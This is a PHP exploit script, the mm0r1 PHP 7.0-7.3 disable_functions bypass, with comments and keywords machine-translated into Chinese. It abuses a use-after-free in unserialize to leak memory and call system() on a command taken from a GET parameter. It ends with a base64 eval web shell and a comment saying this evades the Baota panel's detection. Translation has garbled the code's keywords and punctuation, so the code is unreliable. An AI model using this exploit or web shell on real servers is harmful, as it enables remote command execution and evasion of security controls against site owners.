<？php
＃PHP 7.0-7.3 disable_functions绕过PoC（仅* nix）
＃
＃错误：https：//bugs.php.net/bug.php？id = 72530
＃
＃此漏洞利用程序应可在所有PHP 7.0-7.3版本上使用
＃自2019年10月10日发布，特别是：
＃
＃PHP 7.0-7.0.33
＃PHP 7.1-7.1.31
＃PHP 7.2-7.2.23
＃PHP 7.3-7.3.10
＃
＃作者：https://github.com/mm0r1
pwn（$ _ GET [123]）;
函数pwn（$ cmd）{
    全局$ abc，$ helper;

    函数str2ptr（＆$ str，$ p = 0，$ s = 8）{
        $ address = 0;
        for（$ j = $ s-1; $ j> = 0; $ j--）{
            $ address << = 8;
            $ address | = ord（$ str [$ p + $ j]）;
        }
        返回$ address;
    }
    函数ptr2str（$ ptr，$ m = 8）{
        $ out =“”;
        对于（$ i = 0; $ i <$ m; $ i ++）{
            $ out。= chr（$ ptr＆0xff）;
            $ ptr >> = 8;
        }
        返回$ out;
    }

    函数write（＆$ str，$ p，$ v，$ n = 8）{
        $ i = 0;
        for（$ i = 0; $ i <$ n; $ i ++）{
            $ str [$ p + $ i] = chr（$ v＆0xff）;
            $ v >> = 8;
        }
    }
    函数泄漏（$ addr，$ p = 0，$ s = 8）{
        全局$ abc，$ helper;
        写（$ abc，0x68，$ addr + $ p-0x10）;
        $ leak = strlen（$ helper-> a）;
        if（$ s！= 8）{$ leak％= 2 <<（$ s * 8）-1; }
        返回$泄漏;
    }

    函数parse_elf（$ base）{
        $ e_type =泄漏（$ base，0x10，2）;

        $ e_phoff =泄漏（$ base，0x20）;
        $ e_phentsize =泄漏（$ base，0x36，2）;
        $ e_phnum =泄漏（$ base，0x38，2）;
        for（$ i = 0; $ i <$ e_phnum; $ i ++）{
            $ header = $ base + $ e_phoff + $ i * $ e_phentsize;
            $ p_type =泄漏（$ header，0，4）;
            $ p_flags =泄漏（$ header，4，4）;
            $ p_vaddr =泄漏（$ header，0x10）;
            $ p_memsz =泄漏（$ header，0x28）;

            if（$ p_type == 1 && $ p_flags == 6）{＃PT_LOAD，PF_Read_Write
                ＃处理派
                $ data_addr = $ e_type == 2？$ p_vaddr：$ base + $ p_vaddr;
                $ data_size = $ p_memsz;
            } else if（$ p_type == 1 && $ p_flags == 5）{＃PT_LOAD，PF_Read_exec
                $ text_size = $ p_memsz;
            }
        }
        if（！$ data_addr ||！$ text_size ||！$ data_size）
            返回false；

        返回[$ data_addr，$ text_size，$ data_size]；
    }

    函数get_basic_funcs（$ base，$ elf）{
        list（$ data_addr，$ text_size，$ data_size）= $ elf;
        for（$ i = 0; $ i <$ data_size / 8; $ i ++）{
            $泄漏=泄漏（$ data_addr，$ i * 8）;
            if（$ leak-$ base> 0 && $ leak-$ base <$ text_size）{
                $ deref =泄漏（$ leak）;
                ＃'常量'常量检查
                if（$ deref！= 0x746e6174736e6f63）
                    继续;
            }其他继续；
            $ leak =泄漏（$ data_addr，（$ i + 4）* 8）;
            if（$ leak-$ base> 0 && $ leak-$ base <$ text_size）{
                $ deref =泄漏（$ leak）;
                ＃'bin2hex'常量检查
                if（$ deref！= 0x786568326e6962）
                    继续;
            }其他继续；

            返回$ data_addr + $ i * 8;
        }
    }

    函数get_binary_base（$ binary_leak）{
        $ base = 0;
        $ start = $ binary_leak＆0xfffffffffffffff000;
        for（$ i = 0; $ i <0x1000; $ i ++）{
            $ addr = $ start-0x1000 * $ i;
            $ leak =泄漏（$ addr，0，7）;
            if（$ leak == 0x10102464c457f）{＃ELF标头
                返回$ addr;
            }
        }
    }

    函数get_system（$ basic_funcs）{
        $ addr = $ basic_funcs;
        做{
            $ f_entry =泄漏（$ addr）;
            $ f_name =泄漏（$ f_entry，0，6）;

            if（$ f_name == 0x6d6574737973）{＃系统
                返回泄漏（$ addr + 8）;
            }
            $ addr + = 0x20;
        } while（$ f_entry！= 0）;
        返回false；
    }

    黑麦类{
        var $ ryat;
        var $ chtg;
        
        函数__destruct（）
        {
            $ this-> chtg = $ this-> ryat;
            $ this-> ryat = 1;
        }
    }
    类助手{
        公用$ a，$ b，$ c，$ d；
    }
    if（stristr（PHP_OS，'WIN'））{
        die（'此PoC仅适用于* nix系统。'）;
    }
    $ n_alloc = 10; ＃如果遇到段错误，请增加此值
    $ contiguous = [];
    for（$ i = 0; $ i <$ n_alloc; $ i ++）
        $ contiguous [] = str_repeat（'A'，79）;
    $ poc ='a：4：{i：0; i：1; i：1; a：1：{i：0; O：4：“ ryat”：2：{s：4：“ ryat”; R ：3; s：4：
“ chtg”; i：2;}} i：1; i：3; i：2; R：5;}';
    $ out =反序列化（$ poc）;
    gc_collect_cycles（）;
    $ v = [];
    $ v [0] = ptr2str（0，79）;
    unset（$ v）;
    $ abc = $ out [2] [0];
    $ helper =新的助手；
    $ helper-> b =函数（$ x）{};

    if（strlen（$ abc）== 79）{
        die（“ UAF失败”）;
    }
    ＃泄漏
    $ closure_handlers = str2ptr（$ abc，0）;
    $ php_heap = str2ptr（$ abc，0x58）;
    $ abc_addr = $ php_heap-0xc8;
    ＃假值
    write（$ abc，0x60，2）;
    写（$ abc，0x70，6）;
    ＃假参考
    写（$ abc，0x10，$ abc_addr + 0x60）;
    write（$ abc，0x18，0xa）;
    $ closure_obj = str2ptr（$ abc，0x20）;
    $ binary_leak =泄漏（$ closure_handlers，8）;
    if（！（$ base = get_binary_base（$ binary_leak）））{
        die（“无法确定二进制基址”）;
    }
    if（！（$ elf = parse_elf（$ base）））{
        die（“无法解析ELF标头”）;
    }
    if（！（$ basic_funcs = get_basic_funcs（$ base，$ elf）））{
        die（“无法获得basic_functions地址”）;
    }
    if（！（$ zif_system = get_system（$ basic_funcs）））{
        die（“无法获得zif_system地址”）;
    }
    ＃伪造的关闭对象
    $ fake_obj_offset = 0xd0;
    for（$ i = 0; $ i <0x110; $ i + = 8）{
        写（$ abc，$ fake_obj_offset + $ i，泄漏（$ closure_obj，$ i））;
    }
    ＃pwn
    写（$ abc，0x20，$ abc_addr + $ fake_obj_offset）;
    写（$ abc，0xd0 + 0x38，1，4）; ＃内部函数类型
    写（$ abc，0xd0 + 0x68，$ zif_system）; ＃内部函数处理程序
    （$ helper-> b）（$ cmd）;
    出口（）;
}

//把参数以base64形式初始化，然后解嘛，这样就能绕过过宝塔对参数的检测
<？php eval（base64_decode（$ _ GET [1337]））;; ？>